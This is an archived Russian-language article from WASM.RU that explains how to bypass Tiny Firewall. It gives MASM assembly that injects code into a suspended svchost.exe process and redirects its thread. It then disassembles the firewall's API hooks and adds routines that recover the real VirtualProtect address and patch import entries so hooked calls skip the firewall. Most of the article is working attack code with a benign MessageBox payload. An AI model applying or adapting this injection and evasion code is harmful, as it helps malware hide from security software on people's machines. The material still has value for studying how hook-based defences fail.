Обход Tiny Firewall — Архив WASM.RU

Все статьи

Обход Tiny Firewall — Архив WASM.RU

Tiny Firewall (дальше tf) представляет собой компактную и надёжную (я так думал) защиту. Но на практике всё оказывается не так хорошо, как мы думаем. Давайте посмотрим, как tf обеспечивает защиту (моя версия 6.5.126).

Создаём программу по мотивам Перехват API функций в Windows NT [Ms-Rem]:

.data
buffer		DB 500 dup(?)     ;Большой, но можно использовать не однократно
szSvChost	db "svchost.exe",0
.data?
temp		DD ?
sat         SECURITY_ATTRIBUTES <?>
prog        STARTUPINFO <?>
pi          PROCESS_INFORMATION <?>
	mov 	prog.cb, sizeof STARTUPINFO
	mov	prog.wShowWindow, SW_SHOW
.code
start:
	mov	edi, offset pi
	invoke	CreateProcess, 0, offset szSvChost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, offset prog, edi
	test	eax, eax
	jz	err

	invoke	GetModuleHandle, 0
	mov	[temp], eax
	mov	esi, eax
	add	eax, 3ch
	add	esi, dword ptr [eax]
	add	esi,50h
	lodsd
	push	eax

	invoke	VirtualAllocEx, [pi.hProcess], [temp], eax, MEM_COMMIT OR MEM_RESERVE, PAGE_EXECUTE_READWRITE  
 
	pop	edx
	
	invoke	WriteProcessMemory, [pi.hProcess], eax, [temp], edx, offset buffer

	mov	dword ptr [buffer+CONTEXT.ContextFlags], CONTEXT_FULL
	invoke	GetThreadContext, [pi.hThread], offset buffer

	mov	dword ptr [buffer+CONTEXT.regEip], offset otherstart
	invoke	SetThreadContext, pi.hThread, offset buffer
	invoke	ResumeThread, pi.hThread
	invoke	ExitProcess, 0 
otherstart:
	invoke	MessageBox,0,0,0,0
err:
	invoke	ExitProcess,0
end start

Запускаем, в tf даёт права дефаулт и наблюдаем. Выскакивает сообщение, что прикрыты VirtualAllocEx и WriteProcessMemory. Давайте заглянем внутрь:

Сначала стоит джамп на функцию, якобы реальную (кстати эту строчку добавляет масм. В fasme такого нет).

00401188 $-FF25 1C204000 JMP DWORD PTR DS:[<&kernel32.VirtualAllocEx>] ; kernel32.VirtualAllocEx

Переходим:

7C809AA2 >-E9 690672E3      JMP UmxSbxw.5FF2A110
7C809AA7   90               NOP
Уже интересней. Прыгнем ещё разок:
5FF2A110   50               PUSH EAX
5FF2A111   A1 FCA0F25F      MOV EAX,DWORD PTR DS:[5FF2A0FC]  ;Тут наши права
5FF2A116   A9 01000000      TEST EAX,1                       ;Сверяем
5FF2A11B   58               POP EAX
5FF2A11C   74 0D            JE SHORT UmxSbxw.5FF2A12B        ;Вот тут мы должны прыгнуть
5FF2A11E   58               POP EAX
5FF2A11F   68 1CA0F25F      PUSH UmxSbxw.5FF2A01C                           ; UNICODE "VirtualAllocEx"
5FF2A124   50               PUSH EAX
5FF2A125  -FF25 ECA0F25F    JMP DWORD PTR DS:[5FF2A0EC]                     ; UmxSbxw.5FF0606C
5FF2A12B  -FF25 E4A0F25F    JMP DWORD PTR DS:[5FF2A0E4]      ;Настоящая функция
5FF2A131   0000             ADD BYTE PTR DS:[EAX],AL

Напрашивается 2 решения:

1. Можно изменить DS:[5FF2A0FC] на 0
2. Можно получать адрес настощей функции

2-й вариант более элегантен, будем использовать его. Кстати, как ни странно, но для всех защищенных функций используется один и тот же код, что нам на руку.

	mov		esi, offset VirtualProtect  ;Получаем джамп
	mov		esi, [esi+2]                        ;Получаем адрес джампа
	mov		esi, [esi]                            ;Прыгаем
	mov		eax, [esi+1]                       ;ещё раз прыгаем
	lea		esi, [esi+eax+5]                ;Вычисляем адрес "правильной" функции
	add		esi, 1dh
	lodsd
	push	              [eax]
	pop		[VirtualProtectR] 

Таким образом в [VirtualProtectR] лежит настоящая VirtualProtect. А после того, как мы получили VirtualProtect мы можем поменять в таблице импорта адреса (только сначала надо дать им право на запись):

MNApi	proc
;esi - procedure to make normal	
mov		esi, [edi+2]
	mov		esi, [esi]
	mov		eax, [esi+1]
	lea		esi, [esi+eax+5]
	add		esi, 1dh
	lodsd
	mov		[edi+2], eax
	
   	ret	0

MNApi endp

А дальше работать как обычно, только обходя фаер. В аттаче лежит полная версия программы данной в начале статьи.

2002-2013 (c) wasm.ru